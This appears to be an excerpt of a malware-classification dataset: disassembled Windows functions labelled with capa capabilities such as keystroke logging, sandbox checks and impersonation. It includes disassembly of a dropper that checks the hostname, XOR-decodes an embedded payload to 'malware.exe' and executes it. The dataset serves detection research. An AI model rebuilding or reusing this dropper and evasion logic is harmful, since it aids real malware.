joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4392e9
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
sub esp, 0x28
push esi
mov esi, dword [esp + 0x30]
push edi
test esi, esi
jl 0x43939d
jne 0x43930c
push 0
call dword [sym.imp.KERNEL32.DLL_Sleep]
pop edi
pop esi
add esp, 0x28
ret 4
cmp esi, 0xf
jae 0x439396
mov edi, dword [sym.imp.KERNEL32.DLL_QueryPerformanceCounter]
lea eax, [esp + 0x18]
push eax
call edi
test eax, eax
je 0x439396
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.DLL_QueryPerformanceFrequency]
push 0
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea edx, [esp + 0x10]
push edx
call edi
fnstcw word [esp + 0x34]
mov eax, dword [esp + 0x10]
sub eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
sbb ecx, dword [esp + 0x1c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], ecx
fild qword [esp + 0x20]
movzx eax, word [esp + 0x34]
fild qword [esp + 0x28]
or eax, 0xc00
mov dword [esp + 8], eax
fdivp st(1)
fmul qword [0x487230]
fldcw word [esp + 8]
fistp qword [esp + 8]
mov edx, dword [esp + 8]
fldcw word [esp + 0x34]
cmp edx, esi
jb 0x439331
pop edi
pop esi
add esp, 0x28
ret 4
push esi
call dword [sym.imp.KERNEL32.DLL_Sleep]
pop edi
pop esi
add esp, 0x28
ret 4

Function at 0x4397b8
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov eax, dword [esp + 4]
mov eax, dword [eax + 4]
test eax, eax
je 0x4397cc
mov dword [esp + 4], eax
jmp fcn.004392e9
ret 4

Function at 0x4397cf
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov eax, dword [esp + 4]
mov eax, dword [eax]
test eax, eax
je 0x4397e2
mov dword [esp + 4], eax
jmp fcn.004392e9
ret 4

Function at 0x43a78d
Capabilities:
Log keystrokes

Disassembly:
cmp byte [esp + 8], 1
push esi
mov esi, dword [esp + 8]
jne 0x43a7ba
lea eax, [esp + 0xc]
push eax
push 0x1388
push 2
push 0
push 0
push 0
push esi
call dword [sym.imp.USER32.dll_SendMessageTimeoutW]
test eax, eax
je 0x43a7d3
push 1
jmp 0x43a7bc
push 0
push 0
push esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
pop esi
ret 8

Function at 0x43ae22
Capabilities:
Get token privileges

Disassembly:
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
push ebp
mov ebp, dword [esp + 0x10]
mov eax, dword [ebp]
push esi
mov esi, dword [esp + 0x18]
push edi
mov edi, dword [esp + 0x14]
push esi
push 0
push eax
push 3
push edi
call ebx
test eax, eax
jne 0x43ae73
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x7a
jne 0x43ae7f
mov ecx, dword [esi]
push ecx
call fcn.0043ae0d
add esp, 4
mov dword [ebp], eax
test eax, eax
je 0x43ae7f
mov edx, dword [esi]
push esi
push edx
push eax
push 3
push edi
call ebx
test eax, eax
je 0x43ae7f
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret 0xc
Function at 0x43aec8
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
call fcn.0043ad95
mov edi, dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push 2
push 0
mov esi, eax
push 0
push esi
call edi
push eax
mov eax, dword [esp + 0x24]
mov ecx, dword [eax]
push ecx
call edi
mov ebx, dword [sym.imp.KERNEL32.DLL_DuplicateHandle]
push eax
call ebx
push 2
push 0
push 0
lea edx, [esi + 8]
push edx
call edi
push eax
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax]
push ecx
call edi
push eax
call ebx
mov edx, dword [esp + 0x14]
mov eax, dword [edx]
push 0
push 0
push esi
push 0x43ae88
push 0
push 0
mov dword [esi + 4], eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
pop edi
pop esi
pop ebx
ret 0xc

Function at 0x43af30
Capabilities:
Impersonate user

Disassembly:
movsx eax, byte [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
push ecx
mov ecx, dword [esp + 8]
and eax, 2
or eax, 4
push 0
shr eax, 1
push eax
mov eax, dword [esp + 0x14]
push edx
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_LogonUserW]
neg eax
sbb eax, eax
neg eax
ret 0x14

Function at 0x43b0ec
Capabilities:
Create process on windows

Disassembly:
mov al, byte [esp + 0x10]
push ebx
push esi
mov esi, dword [esp + 0x20]
push edi
xor ecx, ecx
xor edi, edi
mov dword [esp + 0x1c], ecx
test al, 1
je 0x43b108
lea edi, [ecx + 1]
jmp 0x43b111
test al, 2
je 0x43b111
mov edi, 2
xor bl, bl
test al, 4
je 0x43b154
push ebp
lea eax, [esp + 0x28]
push eax
push 0xa
mov dword [esp + 0x30], ecx
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov ecx, dword [esp + 0x28]
push 1
push ecx
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
mov ebp, eax
mov eax, dword [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
test ebp, ebp
pop ebp
je 0x43b191
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x20]
push edx
mov edx, dword [esp + 0x28]
push eax
mov eax, dword [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x24]
or esi, 0x400
push esi
push edx
mov edx, dword [esp + 0x28]
push 0
push edi
push eax
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
setne bl
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x43b1a0
push eax
call dword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
pop edi
pop esi
mov al, bl
pop ebx
ret 0x24
Function at 0x4014f0
Capabilities:
Check for sandbox username or hostname
Execute command
Get hostname

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push ecx
sub esp, 0x430
call fcn.004016c0
mov dword [ebp - 0x418], 0
lea edx, [ebp - 0x414]
mov eax, 0
mov ecx, 0xff
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x41c], 0x400
lea eax, [ebp - 0x41c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call eax
sub esp, 8
mov eax, dword [str.KITTY058]
add eax, 5
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
lea edx, [eax + 7]
test eax, eax
cmovs eax, edx
sar eax, 3
movzx eax, byte [ebp + eax - 0x418]
movsx edx, al
mov eax, dword [ebp - 0x14]
and eax, 7
mov ecx, eax
sar edx, cl
mov eax, edx
and eax, 1
test eax, eax
je 0x40159e
mov dword [ebp - 0xc], 0x403020
mov dword [ebp - 0x10], 0x44
jmp 0x4015ac
mov dword [ebp - 0xc], 0x403080
mov dword [ebp - 0x10], 0xbd
mov dword [esp + 4], 0x40404d
mov dword [esp], str.malware.exe
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x18], eax
jmp 0x4015e7
mov eax, dword [ebp - 0xc]
lea edx, [eax + 1]
mov dword [ebp - 0xc], edx
movzx eax, byte [eax]
movsx eax, al
xor al, 0xff
mov edx, eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.msvcrt.dll_fputc
mov eax, dword [ebp - 0x10]
lea edx, [eax - 1]
mov dword [ebp - 0x10], edx
test eax, eax
jne 0x4015c5
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov dword [esp], str.malware.exe
call sub.msvcrt.dll_system
mov eax, 0
lea esp, [ebp - 8]
pop ecx
pop edi
pop ebp
lea esp, [ecx - 4]
ret

Function at 0x401880
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.004025f0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.004025f0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
Function at 0x4018e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40606c]
test esi, esi
jle 0x401a00
mov eax, dword [0x406070]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401914
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401997
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401900
mov dword [esp], ebx
call fcn.004022d0
mov edi, eax
test eax, eax
je 0x401a27
mov eax, dword [0x406070]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00402410
mov edx, dword [0x406070]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401a07
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401990
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x4019a0
add dword [0x40606c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x406070]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401990
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00401880
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x40191e
mov eax, dword [0x406070]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00401880
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00401880
lea esi, [esi]
nop

Function at 0x401f40
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406088
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x406080]
sub esp, 4
test ebx, ebx
je 0x401f95
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x401f8e
test esi, esi
je 0x401f8e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401f70
mov dword [esp], 0x406088
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4022d0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4022f5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402300
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4022f5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402348
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40233e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40234a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402330
xor eax, eax
pop ebx
pop esi
ret
Function at 0x4026e4
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.0040321c
test esi, esi
jne 0x40271a
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.0040330c
jmp 0x402738
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004025f8
mov edi, eax
test esi, esi
je 0x402738
cmp dword [ebx], 0
je 0x402738
dec esi
jmp 0x402721
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x4029c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x407014]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402a58
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402a38
xor eax, eax
push ebp
push 0x402a31
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402a74
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402a38
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x407014]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x407014], ax
mov esp, ebp
pop ebp
ret

Function at 0x4030a0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x408034], 0
je 0x403101
cmp word [0x408208], 0xd7b2
jne 0x4030c9
cmp dword [0x408210], 0
jbe 0x4030c9
mov eax, 0x408204
call dword [0x408220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x40705c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403128
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x407020], 0
jne 0x40311d
push 0
push 0x407054
push 0x40705c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x403f1c
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x40414c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x403f9f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x40414c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x403f9f
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404168
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x404028
xor eax, eax
push ebp
push 0x404021
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00403d64
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x404006
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x404188
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x404006
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404028
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x404142
cmp byte [ebp - 0xd], 0
jne 0x40406f
cmp byte [ebp - 0x12], 0
je 0x404142
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x404088
dec ebx
cmp byte [ebx], 0x2e
je 0x404097
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x404087
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x404142
inc ebx
cmp byte [ebp - 0x12], 0
je 0x4040d4
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404142
cmp byte [ebp - 0xd], 0
je 0x404142
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x404142
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4042e0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x404346
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403388
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.004028b4
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x404330
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40434d
lea eax, [ebp - 0x10]
call fcn.0040321c
ret
Function at 0x404b5c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe78
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x188], ecx
mov dword [ebp - 0x184], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], edx
mov edi, eax
mov eax, dword [ebp - 4]
call fcn.00403504
xor eax, eax
push ebp
push 0x404d6e
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
mov edx, edi
lea eax, [ebp - 0x60]
mov ecx, 0x40
call fcn.0040464c
cmp word [ebp - 0x60], 0x5a4d
jne 0x404d40
mov eax, edi
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x24]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, eax
lea eax, [ebp - 0x158]
mov ecx, 0xf8
call fcn.0040464c
cmp dword [ebp - 0x158], 0x4550
jne 0x404d40
mov edx, dword [ebp - 0xe0]
add edx, edi
lea eax, [ebp - 0x180]
mov ecx, 0x28
call fcn.0040464c
mov ebx, dword [ebp - 0x124]
add edi, dword [ebp - 0xe0]
mov dword [ebp - 0x14], edi
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0xdc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x168]
dec eax
test eax, eax
jb 0x404d40
inc eax
mov dword [ebp - 0x20], eax
xor edi, edi
mov edx, dword [ebp - 0x160]
add edx, ebx
mov eax, edi
shl eax, 2
add edx, eax
lea eax, [ebp - 0xc]
mov ecx, 4
call fcn.0040464c
lea eax, [ebp - 0x184]
mov edx, dword [ebp - 0xc]
add edx, ebx
call fcn.0040334c
mov eax, dword [ebp - 0x184]
mov edx, dword [ebp - 4]
call fcn.00403460
jne 0x404d36
xor eax, eax
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x15c]
add edx, ebx
mov eax, edi
add eax, eax
add edx, eax
lea eax, [ebp - 0x10]
mov ecx, 2
call fcn.0040464c
mov edx, dword [ebp - 0x164]
add edx, ebx
mov eax, dword [ebp - 0x10]
shl eax, 2
add edx, eax
lea eax, [ebp - 8]
mov ecx, 4
call fcn.0040464c
mov esi, dword [ebp - 8]
add esi, ebx
mov eax, esi
cmp eax, dword [ebp - 0x14]
jb 0x404d40
cmp eax, dword [ebp - 0x18]
ja 0x404d40
lea eax, [ebp - 0x1c]
mov edx, esi
call fcn.0040334c
lea eax, [ebp - 0x188]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x404d88
call fcn.004035ac
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.0040356c
mov eax, dword [ebp - 0x188]
call fcn.00403514
push eax
call sub.kernel32.dll_LoadLibraryA
mov edi, eax
lea eax, [ebp - 4]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x404d88
call fcn.004035ac
inc eax
push eax
mov eax, dword [ebp - 0x1c]
call fcn.004033a0
mov ecx, eax
mov eax, dword [ebp - 0x1c]
pop edx
call fcn.0040356c
mov edx, dword [ebp - 4]
mov eax, edi
call fcn.00404b5c
mov esi, eax
jmp 0x404d40
inc edi
dec dword [ebp - 0x20]
jne 0x404c2f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404d75
lea eax, [ebp - 0x188]
mov edx, 2
call fcn.00403240
lea eax, [ebp - 0x1c]
call fcn.0040321c
lea eax, [ebp - 4]
call fcn.0040321c
ret
Function at 0x405dcc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x405e05
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.0040330c
jmp 0x405e0e
mov eax, ebx
mov edx, esi
call fcn.00403270
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x405e60
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x34], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x405ee2
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x20
lea eax, [ebp - 0x2d]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x105
push 0
lea eax, [ebp - 0x34]
mov edx, ebx
call fcn.0040333c
lea eax, [ebp - 0x34]
mov edx, 0x405ef8
call fcn.004033a8
mov eax, dword [ebp - 0x34]
call fcn.00403514
push eax
call sub.kernel32.dll_GetVolumeInformationA
mov eax, esi
lea edx, [ebp - 0x2d]
mov ecx, 0x21
call fcn.00403388
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405ee9
lea eax, [ebp - 0x34]
call fcn.0040321c
ret
Function at 0x4157b0
Capabilities:
Write file on windows

Disassembly:
push esi
mov esi, edx
push ebx
mov ebx, eax
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 4
call sub.cygwin1.dll_fwrite
lea ecx, [esi + 4]
mov dword [esp], ecx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 1
mov dword [esp + 4], 0x18
call sub.cygwin1.dll_fwrite
mov dword [esp + 4], ebx
movzx edx, byte [esi + 0x1c]
mov dword [esp], edx
call sub.cygwin1.dll_fputc
mov dword [esp + 4], ebx
movzx eax, byte [esi + 0x1d]
mov dword [esp], eax
call sub.cygwin1.dll_fputc
mov dword [esp + 4], ebx
movzx ecx, byte [esi + 0x1e]
mov dword [esp], ecx
call sub.cygwin1.dll_fputc
mov dword [esp + 4], ebx
movzx edx, byte [esi + 0x1f]
mov dword [esp], edx
call sub.cygwin1.dll_fputc
lea eax, [esi + 0x20]
add esi, 0x40
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 1
mov dword [esp + 4], 0x20
mov dword [esp], eax
call sub.cygwin1.dll_fwrite
mov dword [esp + 0xc], ebx
mov dword [esp], esi
mov dword [esp + 8], 1
mov dword [esp + 4], 0x2814
call sub.cygwin1.dll_fwrite
add esp, 0x14
pop ebx
pop esi
ret